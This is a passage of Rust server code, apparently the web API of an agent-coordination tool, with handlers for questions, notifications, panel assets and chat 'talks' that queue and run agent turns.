5758 .filter_map(|entry| {
5759 let path = if runs {
5760 entry.path().join("run.json")
5761 } else {
5762 entry.path()
5763 };
5764 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5765 return None;
5766 }
5767 let metadata = path.metadata().ok()?;
5768 let modified = metadata
5769 .modified()
5770 .ok()?
5771 .duration_since(std::time::UNIX_EPOCH)
5772 .ok()?;
5773 let id = if runs {
5774 entry.file_name().to_string_lossy().into_owned()
5775 } else {
5776 path.file_stem()?.to_string_lossy().into_owned()
5777 };
5778 Some((id, (modified.as_nanos(), metadata.len())))
5779 })
5780 .collect()
5781}
5782
5783#[derive(Debug, Serialize)]
5784struct Delta {
5785 base: u64,
5786 changed: Vec<String>,
5787 removed: Vec<String>,
5788}
5789
5790fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5791 let mut changed: Vec<_> = next
5792 .iter()
5793 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5794 .map(|(id, _)| id.clone())
5795 .collect();
5796 let mut removed: Vec<_> = previous
5797 .keys()
5798 .filter(|id| !next.contains_key(*id))
5799 .cloned()
5800 .collect();
5801 changed.sort_unstable();
5802 removed.sort_unstable();
5803 Delta {
5804 base,
5805 changed,
5806 removed,
5807 }
5808}
5809
5810fn runs_revision(runs: &FsPath) -> u64 {
5817 stamps_revision(&store_stamps(runs, true))
5818}
5819
5820fn stamps_revision(stamps: &Stamps) -> u64 {
5824 use std::hash::{Hash as _, Hasher as _};
5825 if stamps.is_empty() {
5826 return 0;
5827 }
5828 let mut entries: Vec<_> = stamps.iter().collect();
5829 entries.sort_unstable();
5830 let mut hasher = std::hash::DefaultHasher::new();
5831 entries.hash(&mut hasher);
5832 hasher.finish().max(1)
5833}
5834
5835fn run_ids(runs: &FsPath) -> Vec<String> {
5841 let mut ids: Vec<String> = std::fs::read_dir(runs)
5842 .into_iter()
5843 .flatten()
5844 .flatten()
5845 .filter(|e| e.path().join("run.json").is_file())
5846 .map(|e| e.file_name().to_string_lossy().into_owned())
5847 .collect();
5848 ids.sort_unstable_by(|a, b| b.cmp(a));
5850 ids
5851}
5852
5853fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5855 let path = runs.join(id).join("run.json");
5856 let body =
5857 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5858 let state: RunState =
5859 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5860 run::migrate_schema(state)
5865}
5866
5867#[must_use]
5875pub fn runs_unreadable(runs: &FsPath) -> usize {
5876 run_ids(runs)
5877 .into_iter()
5878 .filter(|id| read_run(runs, id).is_err())
5879 .count()
5880}
5881
5882fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5884 if runs.join(id).join("run.json").is_file() {
5885 return Ok(id.to_owned());
5886 }
5887 pick(run_ids(runs), id, "run")
5888}
5889
5890fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5892 if queue.path_of(id).is_file() {
5893 return Ok(id.to_owned());
5894 }
5895 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5896}
5897
5898#[derive(Debug, Serialize)]
5909struct QuestionView {
5910 #[serde(flatten)]
5911 question: Question,
5912 detail_md: Vec<md::Node>,
5913 thread_bodies_md: Vec<Vec<md::Node>>,
5915 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5918 waiting_on_agent: bool,
5928 holder: Option<&'static str>,
5932 deputies_enabled: bool,
5936 run_is_task: bool,
5939 origin_chat: Option<String>,
5944 origin_chat_closed: bool,
5946}
5947
5948impl QuestionView {
5949 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5953 let base = md::ImageBase::QuestionPanel {
5954 id: question.id.clone(),
5955 };
5956 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5957 Self {
5958 detail_md: md::to_nodes(&question.detail, &base),
5959 thread_bodies_md: question
5960 .thread
5961 .iter()
5962 .map(|t| md::to_nodes(&t.body, &base))
5963 .collect(),
5964 thread_notes_md: question
5965 .thread
5966 .iter()
5967 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5968 .collect(),
5969 waiting_on_agent: question.waiting_on_agent(),
5970 holder,
5971 deputies_enabled,
5972 run_is_task: question.run_names_task(),
5973 origin_chat: None,
5974 origin_chat_closed: false,
5975 question,
5976 }
5977 }
5978
5979 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5981 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5982 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5983 self.origin_chat = talk.map(|t| t.id);
5984 self
5985 }
5986}
5987
5988fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5992 Config::discover(repo, None).ok().map(|(c, _)| c)
5993}
5994
5995fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5997 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5998}
5999
6000fn question_views(
6003 qs: Vec<Question>,
6004 store: &ask::Questions,
6005 load: impl FnOnce() -> Option<Config>,
6006) -> Vec<QuestionView> {
6007 if qs.is_empty() {
6008 return Vec::new();
6009 }
6010 let cfg = load();
6011 qs.into_iter()
6012 .map(|q| {
6013 let on = deputies_enabled(cfg.as_ref(), &q);
6014 QuestionView::of(q, store, on)
6015 })
6016 .collect()
6017}
6018
6019fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6029 if !q.status.open() {
6030 return None;
6031 }
6032 if q.cwd.is_none() && q.deputy.is_none() {
6033 return crate::deputy::kind_of(q).map(|_| "nobody");
6034 }
6035 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6036 Some(_) if q.deputy.is_some() => "deputy",
6037 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6038 Some(_) => "asker",
6039 None => "nobody",
6040 })
6041}
6042
6043async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6049 blocking(move || {
6050 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6051 Ok(Json(
6052 question_views(ui.questions.list(), &ui.questions, || {
6053 deputy_config(&ui.repo)
6054 })
6055 .into_iter()
6056 .map(|v| v.with_origin(&tasks, &talks))
6057 .collect(),
6058 ))
6059 })
6060 .await
6061}
6062
6063async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6066 blocking(move || {
6067 let items = ui.notices.list();
6068 let unread = items.iter().filter(|n| n.unread()).count();
6069 Ok(Json(
6070 serde_json::json!({ "unread": unread, "items": items }),
6071 ))
6072 })
6073 .await
6074}
6075
6076fn notice_error(e: anyhow::Error) -> ApiError {
6077 ApiError::not_found(format!("{e:#}"))
6080}
6081
6082async fn notification_read(
6084 State(ui): State<Arc<Ui>>,
6085 Path(id): Path<String>,
6086) -> ApiResult<Json<Notice>> {
6087 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6088}
6089
6090async fn notification_dismiss(
6092 State(ui): State<Arc<Ui>>,
6093 Path(id): Path<String>,
6094) -> ApiResult<Json<Notice>> {
6095 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6096}
6097
6098async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6100 blocking(move || {
6101 let changed = ui.notices.mark_all_read()?;
6102 Ok(Json(serde_json::json!({ "marked": changed })))
6103 })
6104 .await
6105}
6106
6107#[derive(Debug, Default, Deserialize)]
6113#[serde(default, deny_unknown_fields)]
6114struct NewAnswer {
6115 choice: Option<String>,
6116 text: Option<String>,
6117}
6118
6119async fn question_answer(
6120 State(ui): State<Arc<Ui>>,
6121 Path(id): Path<String>,
6122 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6123) -> ApiResult<Json<QuestionView>> {
6124 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6125 let answer = match (body.choice, body.text) {
6126 (Some(c), None) => Answer::Choice(c),
6127 (None, Some(t)) => Answer::Text(t),
6128 (Some(_), Some(_)) => {
6129 return Err(ApiError::bad_request(
6130 "send either `choice` or `text`, not both",
6131 ));
6132 }
6133 (None, None) => {
6134 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6135 }
6136 };
6137
6138 blocking(move || {
6139 let id = resolve_question(&ui.questions, &id)?;
6140 let q = ui
6141 .questions
6142 .get(&id)
6143 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6144 if !q.status.open() {
6145 return Err(ApiError::conflict(format!(
6149 "question {} is already {}",
6150 q.short(),
6151 q.status.as_str()
6152 )));
6153 }
6154 let (q, ()) = ui
6158 .questions
6159 .update(&q.id, |r| r.answer(answer))
6160 .map_err(ApiError::bad_request_from)?;
6161 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6162 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6163 Ok(Json(
6164 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6165 ))
6166 })
6167 .await
6168}
6169
6170#[derive(Debug, Deserialize)]
6172#[serde(deny_unknown_fields)]
6173struct NewSay {
6174 body: String,
6175}
6176
6177async fn question_say(
6187 State(ui): State<Arc<Ui>>,
6188 Path(id): Path<String>,
6189 body: std::result::Result<Json<NewSay>, JsonRejection>,
6190) -> ApiResult<Json<QuestionView>> {
6191 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6192 blocking(move || {
6193 let id = resolve_question(&ui.questions, &id)?;
6194 let q = ui
6195 .questions
6196 .get(&id)
6197 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6198 if !q.status.open() {
6199 return Err(ApiError::conflict(format!(
6203 "question {} is already {}",
6204 q.short(),
6205 q.status.as_str()
6206 )));
6207 }
6208 let (q, ()) = ui
6211 .questions
6212 .update(&q.id, |r| r.say(body.body))
6213 .map_err(ApiError::bad_request_from)?;
6214 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6215 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6216 Ok(Json(
6217 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6218 ))
6219 })
6220 .await
6221}
6222
6223async fn question_consult(
6232 State(ui): State<Arc<Ui>>,
6233 Path(id): Path<String>,
6234) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6235 let (view, reclaimed) = blocking({
6236 let ui = Arc::clone(&ui);
6237 move || {
6238 let id = resolve_question(&ui.questions, &id)?;
6239 let q = ui
6240 .questions
6241 .get(&id)
6242 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6243 if !q.status.open() {
6244 return Err(ApiError::conflict(format!(
6245 "question {} is already {}",
6246 q.short(),
6247 q.status.as_str()
6248 )));
6249 }
6250 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6251 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6252 return Err(ApiError::conflict(format!(
6253 "question {} has no chat to ask",
6254 q.short()
6255 )));
6256 };
6257 let cfg = if q.consult.is_none() {
6261 Some(Config::discover(&talk.repo, None)?.0)
6262 } else {
6263 None
6264 };
6265 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6266 let claim = if fresh {
6267 match ui.begin_queued_talk_turn(&talk.id)? {
6268 Some(turn_guard) => {
6269 let talk = ui.talks.get(&talk.id)?;
6270 let cfg = match cfg {
6271 Some(cfg) => cfg,
6272 None => Config::discover(&talk.repo, None)?.0,
6273 };
6274 Some((talk, cfg, turn_guard))
6275 }
6276 None => None,
6277 }
6278 } else {
6279 None
6280 };
6281 let q = ui.questions.get(&q.id)?;
6282 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6283 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6284 Ok((view, claim))
6285 }
6286 })
6287 .await?;
6288 if let Some((talk, cfg, turn_guard)) = reclaimed {
6289 let talks = ui.talks.clone();
6290 let id = talk.id.clone();
6291 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6292 }
6293 Ok((StatusCode::ACCEPTED, Json(view)))
6294}
6295
6296fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6298 if store.path_of(id).is_file() {
6299 return Ok(id.to_owned());
6300 }
6301 pick(
6302 store.list().into_iter().map(|q| q.id).collect(),
6303 id,
6304 "question",
6305 )
6306}
6307
6308async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6323 blocking(move || {
6324 let id = resolve_question(&ui.questions, &id)?;
6325 let Some(html) = ui.questions.panel_html(&id) else {
6326 return Err(ApiError::not_found(format!("question {id} has no panel")));
6327 };
6328 Ok(panel_response(
6329 "text/html; charset=utf-8",
6330 false,
6331 html.into_bytes(),
6332 ))
6333 })
6334 .await
6335}
6336
6337async fn question_asset(
6365 State(ui): State<Arc<Ui>>,
6366 Path((id, name)): Path<(String, String)>,
6367) -> ApiResult<Response> {
6368 if !crate::ask::valid_asset_name(&name) {
6371 return Err(ApiError::bad_request(format!(
6372 "`{name}` is not a usable asset name"
6373 )));
6374 }
6375 blocking(move || {
6376 let id = resolve_question(&ui.questions, &id)?;
6377 let asset = ui
6378 .questions
6379 .panel_asset(&id, &name)
6380 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6381 let Some(bytes) = asset else {
6382 return Err(ApiError::not_found(format!(
6383 "question {id} has no asset `{name}`"
6384 )));
6385 };
6386 Ok(panel_response(
6387 asset_content_type(&name),
6388 is_svg(&name),
6389 bytes,
6390 ))
6391 })
6392 .await
6393}
6394
6395fn asset_content_type(name: &str) -> &'static str {
6408 match extension(name).as_deref() {
6409 Some("png") => "image/png",
6410 Some("jpg" | "jpeg") => "image/jpeg",
6411 Some("gif") => "image/gif",
6412 Some("webp") => "image/webp",
6413 Some("svg") => "image/svg+xml",
6414 Some("css") => "text/css; charset=utf-8",
6415 Some("txt") => "text/plain; charset=utf-8",
6416 _ => "application/octet-stream",
6417 }
6418}
6419
6420fn is_svg(name: &str) -> bool {
6423 extension(name).as_deref() == Some("svg")
6424}
6425
6426fn extension(name: &str) -> Option<String> {
6428 name.rsplit_once('.')
6429 .map(|(_, ext)| ext.to_ascii_lowercase())
6430}
6431
6432fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6449 let mut res = (
6450 [
6451 (header::CONTENT_TYPE, content_type),
6452 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6453 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6454 (header::REFERRER_POLICY, "no-referrer"),
6455 ],
6456 body,
6457 )
6458 .into_response();
6459 if download {
6460 res.headers_mut().insert(
6461 header::CONTENT_DISPOSITION,
6462 HeaderValue::from_static("attachment"),
6463 );
6464 }
6465 res
6466}
6467
6468#[derive(Debug, Serialize)]
6474struct TalkView {
6475 #[serde(flatten)]
6476 talk: Talk,
6477 turn_bodies_md: Vec<Vec<md::Node>>,
6478 thinking: bool,
6486 context: talk::ContextUsage,
6490 operator_name: Option<String>,
6493 persona_name: Option<String>,
6495 persona_avatar: String,
6498 operator_avatar: String,
6500}
6501
6502impl TalkView {
6503 fn new(talk: Talk, thinking: bool) -> Self {
6506 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6507 Self::with_config(talk, thinking, cfg.as_ref())
6508 }
6509
6510 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6513 let context = talk::context_usage(&talk, cfg);
6514 let turn_bodies_md = talk
6515 .turns
6516 .iter()
6517 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6518 .collect();
6519 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6520 let persona_name = persona::find(specs, &talk.persona)
6521 .filter(|p| !p.is_default())
6522 .map(|p| p.name);
6523 let persona_avatar = avatar_url(
6524 &talk.id,
6525 &persona::find(specs, &talk.persona)
6526 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6527 );
6528 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6529 Self {
6530 turn_bodies_md,
6531 thinking,
6532 context,
6533 operator_name,
6534 persona_name,
6535 persona_avatar,
6536 operator_avatar: format!(
6537 "/avatars/operator.svg?v={}",
6538 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
6539 ),
6540 talk,
6541 }
6542 }
6543}
6544
6545#[derive(Debug, Serialize)]
6550struct TalkDetailView {
6551 #[serde(flatten)]
6552 view: TalkView,
6553 tasks: Vec<TaskView>,
6554 roster: Vec<RosterEntry>,
6557 personas: Vec<PersonaEntry>,
6560}
6561
6562#[derive(Debug, Serialize)]
6564struct PersonaEntry {
6565 id: String,
6566 name: String,
6567 avatar: String,
6569}
6570
6571#[derive(Debug, Serialize)]
6573struct RosterEntry {
6574 id: String,
6575 kind: AgentKind,
6576 runnable: bool,
6578}
6579
6580async fn talks_list(
6585 State(ui): State<Arc<Ui>>,
6586 Query(q): Query<ListQuery>,
6587) -> ApiResult<Json<Vec<TalkView>>> {
6588 blocking(move || {
6589 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6590 Ok(Json(
6591 ui.talks
6592 .list()
6593 .into_iter()
6594 .filter(|talk| q.contains(&talk.id))
6595 .map(|talk| {
6596 let thinking = ui.is_thinking(&talk.id);
6597 let cfg = configs
6598 .entry(talk.repo.clone())
6599 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6600 TalkView::with_config(talk, thinking, cfg.as_ref())
6601 })
6602 .collect(),
6603 ))
6604 })
6605 .await
6606}
6607
6608#[derive(Debug, Default, Deserialize)]
6613#[serde(default)]
6614struct NewTalk {
6615 agent: Option<String>,
6616 repo: Option<PathBuf>,
6617 preferred_agent: Option<serde_json::Value>,
6621 persona: Option<serde_json::Value>,
6622 implementers: Option<serde_json::Value>,
6623}
6624
6625async fn talk_post(
6628 State(ui): State<Arc<Ui>>,
6629 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6630) -> ApiResult<impl IntoResponse> {
6631 let body = match body {
6635 Ok(Json(body)) => body,
6636 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6637 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6638 };
6639 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6640 let cfg = config_for(&repo).await?;
6641 let view = blocking(move || {
6642 let preferred = talk::Preferred {
6643 agent: body
6644 .preferred_agent
6645 .as_ref()
6646 .and_then(|v| v.as_str())
6647 .map(str::to_owned),
6648 persona: body
6649 .persona
6650 .as_ref()
6651 .and_then(|v| v.as_str())
6652 .map(str::to_owned),
6653 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6654 };
6655 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6656 let thinking = ui.is_thinking(&talk.id);
6657 Ok(TalkView::new(talk, thinking))
6658 })
6659 .await?;
6660 Ok((StatusCode::CREATED, Json(view)))
6661}
6662
6663async fn talk_detail(
6665 State(ui): State<Arc<Ui>>,
6666 Path(id): Path<String>,
6667) -> ApiResult<Json<TalkDetailView>> {
6668 blocking(move || {
6669 let id = resolve_talk(&ui.talks, &id)?;
6670 let talk = ui.talks.get(&id)?;
6671 let thinking = ui.is_thinking(&talk.id);
6672 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6673 .into_iter()
6674 .map(TaskView::from)
6675 .collect();
6676 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6677 let roster = cfg
6678 .as_ref()
6679 .map(|cfg| {
6680 cfg.agents
6681 .iter()
6682 .map(|a| RosterEntry {
6683 id: a.id.clone(),
6684 kind: a.kind,
6685 runnable: agent::installed(a),
6686 })
6687 .collect()
6688 })
6689 .unwrap_or_default();
6690 let specs = cfg
6691 .as_ref()
6692 .map(|cfg| cfg.talk.personas.clone())
6693 .unwrap_or_default();
6694 let personas = persona::catalog(&specs)
6695 .into_iter()
6696 .map(|p| PersonaEntry {
6697 avatar: avatar_url(&talk.id, &p),
6698 id: p.id,
6699 name: p.name,
6700 })
6701 .collect();
6702 Ok(Json(TalkDetailView {
6703 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6704 tasks,
6705 roster,
6706 personas,
6707 }))
6708 })
6709 .await
6710}
6711
6712#[derive(Debug, Default, Deserialize)]
6718#[serde(default, deny_unknown_fields)]
6719struct NewTalkTurn {
6720 reply_to: Option<talk::ReplyTarget>,
6721 text: String,
6722 attachments: Vec<String>,
6723}
6724
6725#[derive(Debug, Deserialize)]
6726#[serde(deny_unknown_fields)]
6727struct EditTalkPending {
6728 #[serde(default)]
6729 message: Option<usize>,
6730 text: String,
6731 expected_text: String,
6732 expected_attachments: Vec<String>,
6733}
6734
6735#[derive(Debug, Deserialize)]
6736#[serde(deny_unknown_fields)]
6737struct ClearTalkPending {
6738 expected_text: String,
6739 expected_attachments: Vec<String>,
6740}
6741
6742async fn talk_say(
6754 State(ui): State<Arc<Ui>>,
6755 Path(id): Path<String>,
6756 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6757) -> ApiResult<(StatusCode, Json<TalkView>)> {
6758 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6759 if body.text.trim().is_empty() && body.attachments.is_empty() {
6760 return Err(ApiError::bad_request("say something"));
6761 }
6762
6763 let id = {
6764 let ui = Arc::clone(&ui);
6765 let asked = id.clone();
6766 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6767 };
6768 {
6772 let ui = Arc::clone(&ui);
6773 let id = id.clone();
6774 blocking(move || {
6775 let talk = ui.talks.get(&id)?;
6776 if !talk.status.open() {
6777 return Err(ApiError::conflict(format!(
6778 "talk {} is {} and takes no more turns",
6779 talk.short(),
6780 talk.status.as_str()
6781 )));
6782 }
6783 Ok(())
6784 })
6785 .await?;
6786 }
6787
6788 let attachments = {
6793 let ui = Arc::clone(&ui);
6794 let id = id.clone();
6795 let ids = body.attachments.clone();
6796 blocking(move || {
6797 ids.into_iter()
6798 .map(|att_id| {
6799 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6800 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6801 })
6802 })
6803 .collect::<ApiResult<Vec<talk::Attachment>>>()
6804 })
6805 .await?
6806 };
6807
6808 let start = {
6813 let ui = Arc::clone(&ui);
6814 let id = id.clone();
6815 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6816 };
6817 let turn_guard = match start {
6818 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6819 TalkTurnStart::Pending => {
6820 return Err(ApiError::conflict(
6821 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6822 ));
6823 }
6824 TalkTurnStart::Foreign => {
6825 return Err(ApiError::conflict(
6826 "a turn is already running in another process; try again when it has finished",
6827 ));
6828 }
6829 TalkTurnStart::Busy => {
6830 let (tx, rx) = tokio::sync::oneshot::channel();
6846 tokio::spawn({
6847 let ui = Arc::clone(&ui);
6848 let id = id.clone();
6849 let said = body.text.clone();
6850 let reply_to = body.reply_to.clone();
6851 async move {
6852 let written = blocking({
6853 let ui = Arc::clone(&ui);
6854 let id = id.clone();
6855 move || {
6856 let mut talk = ui.talks.get(&id)?;
6857 #[cfg(test)]
6862 if let Some(gate) = ui
6863 .busy_queue_gate
6864 .lock()
6865 .unwrap_or_else(PoisonError::into_inner)
6866 .take()
6867 {
6868 let _ = gate.reached.send(());
6869 let _ = gate.release.recv();
6870 }
6871 if let Err(error) = talk::queue_reply(
6872 &mut talk,
6873 &ui.talks,
6874 &said,
6875 attachments,
6876 reply_to,
6877 ) {
6878 if let Ok(fresh) = ui.talks.get(&id) {
6879 if !fresh.status.open() {
6880 return Err(ApiError::conflict(format!(
6881 "talk {} is {} and takes no more turns",
6882 fresh.short(),
6883 fresh.status.as_str()
6884 )));
6885 }
6886 }
6887 return Err(
6888 if error.to_string().contains("invalid reply target") {
6889 ApiError::bad_request("invalid reply target")
6890 } else {
6891 ApiError::from(error)
6892 },
6893 );
6894 }
6895 let claim = match ui.begin_queued_talk_turn(&id)? {
6906 Some(turn_guard) => {
6907 let (cfg, _) = Config::discover(&talk.repo, None)?;
6908 Some((talk.clone(), cfg, turn_guard))
6909 }
6910 None => None,
6911 };
6912 let thinking = ui.is_thinking(&id);
6913 Ok((TalkView::new(talk, thinking), claim))
6914 }
6915 })
6916 .await;
6917 let (view, reclaimed) = match written {
6918 Ok(pair) => pair,
6919 Err(e) => {
6920 let _ = tx.send(Err(e));
6925 return;
6926 }
6927 };
6928 let _ = tx.send(Ok(view));
6931 if let Some((talk, cfg, turn_guard)) = reclaimed {
6932 let talks = ui.talks.clone();
6933 drain_loop(talk, talks, cfg, id, turn_guard).await;
6934 }
6935 }
6936 });
6937 let view = rx
6938 .await
6939 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6940 return Ok((StatusCode::ACCEPTED, Json(view)));
6941 }
6942 };
6943
6944 let (talk, cfg) = {
6945 let ui = Arc::clone(&ui);
6946 let id = id.clone();
6947 blocking(move || {
6948 let talk = ui.talks.get(&id)?;
6949 let (cfg, _) = Config::discover(&talk.repo, None)?;
6950 Ok((talk, cfg))
6951 })
6952 .await?
6953 };
6954
6955 let talks = ui.talks.clone();
6956 let (tx, rx) = tokio::sync::oneshot::channel();
6971 tokio::spawn({
6972 let ui = Arc::clone(&ui);
6973 let talks = talks.clone();
6974 let id = id.clone();
6975 let said = body.text.clone();
6976 let reply_to = body.reply_to.clone();
6977 let mut talk = talk.clone();
6978 async move {
6979 let recorded = blocking({
6980 let talks = talks.clone();
6981 move || {
6982 if let Err(error) =
6983 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
6984 {
6985 if let Ok(fresh) = talks.get(&talk.id) {
6986 if !fresh.status.open() {
6987 return Err(ApiError::conflict(format!(
6988 "talk {} is {} and takes no more turns",
6989 fresh.short(),
6990 fresh.status.as_str()
6991 )));
6992 }
6993 }
6994 return Err(if error.to_string().contains("invalid reply target") {
6995 ApiError::bad_request("invalid reply target")
6996 } else {
6997 ApiError::from(error)
6998 });
6999 }
7000 Ok((said.trim().to_owned(), talk))
7006 }
7007 })
7008 .await;
7009 let (text, mut talk) = match recorded {
7010 Ok(pair) => pair,
7011 Err(e) => {
7012 let _ = tx.send(Err(e));
7016 return;
7017 }
7018 };
7019 let queued = talk.clone();
7020 let thinking = ui.is_thinking(&id);
7021 let _ = tx.send(Ok((queued, thinking)));
7024
7025 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7026 tracing::warn!("talk {id} turn failed: {e:#}");
7030 }
7031 drain_loop(talk, talks, cfg, id, turn_guard).await;
7034 }
7035 });
7036
7037 let (queued, thinking) = rx
7038 .await
7039 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7040
7041 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7043}
7044
7045async fn talk_pending_resume(
7049 State(ui): State<Arc<Ui>>,
7050 Path(id): Path<String>,
7051) -> ApiResult<(StatusCode, Json<TalkView>)> {
7052 let id = {
7053 let ui = Arc::clone(&ui);
7054 let asked = id.clone();
7055 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7056 };
7057 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7058 return Err(ApiError::conflict(
7059 "a talk turn is already running; the queued draft will be handled by it",
7060 ));
7061 };
7062 let (talk, cfg) = {
7063 let ui = Arc::clone(&ui);
7064 let id = id.clone();
7065 blocking(move || {
7066 let talk = ui.talks.get(&id)?;
7067 if !talk.status.open() {
7068 return Err(ApiError::conflict(format!(
7069 "talk {} is {} and takes no more turns",
7070 talk.short(),
7071 talk.status.as_str()
7072 )));
7073 }
7074 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7075 return Err(ApiError::conflict("there is no queued draft to resume"));
7076 }
7077 let (cfg, _) = Config::discover(&talk.repo, None)?;
7078 Ok((talk, cfg))
7079 })
7080 .await?
7081 };
7082 let view = TalkView::new(talk.clone(), true);
7083 let talks = ui.talks.clone();
7084 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7085 Ok((StatusCode::ACCEPTED, Json(view)))
7086}
7087
7088async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7104 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7105}
7106
7107async fn settle_settings_turn(
7111 talk: Talk,
7112 talks: Talks,
7113 cfg: Config,
7114 id: String,
7115 turn: TalkTurnGuard,
7116 observed: u64,
7117) -> bool {
7118 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7119 let turns = Arc::clone(&turn.turns);
7120 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7121 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7122 turn.release(&mut live);
7124 return false;
7125 }
7126 }
7127 let (started, settled) = tokio::sync::oneshot::channel();
7128 tokio::spawn(drain_loop_started(
7129 talk,
7130 talks,
7131 cfg,
7132 id,
7133 turn,
7134 Some(started),
7135 ));
7136 settled.await.unwrap_or(false)
7137}
7138
7139async fn drain_loop_started(
7140 mut talk: Talk,
7141 talks: Talks,
7142 cfg: Config,
7143 id: String,
7144 turn: TalkTurnGuard,
7145 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7146) {
7147 let live_set = Arc::clone(&turn.turns);
7148 let mut turn = Some(turn);
7156 loop {
7157 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
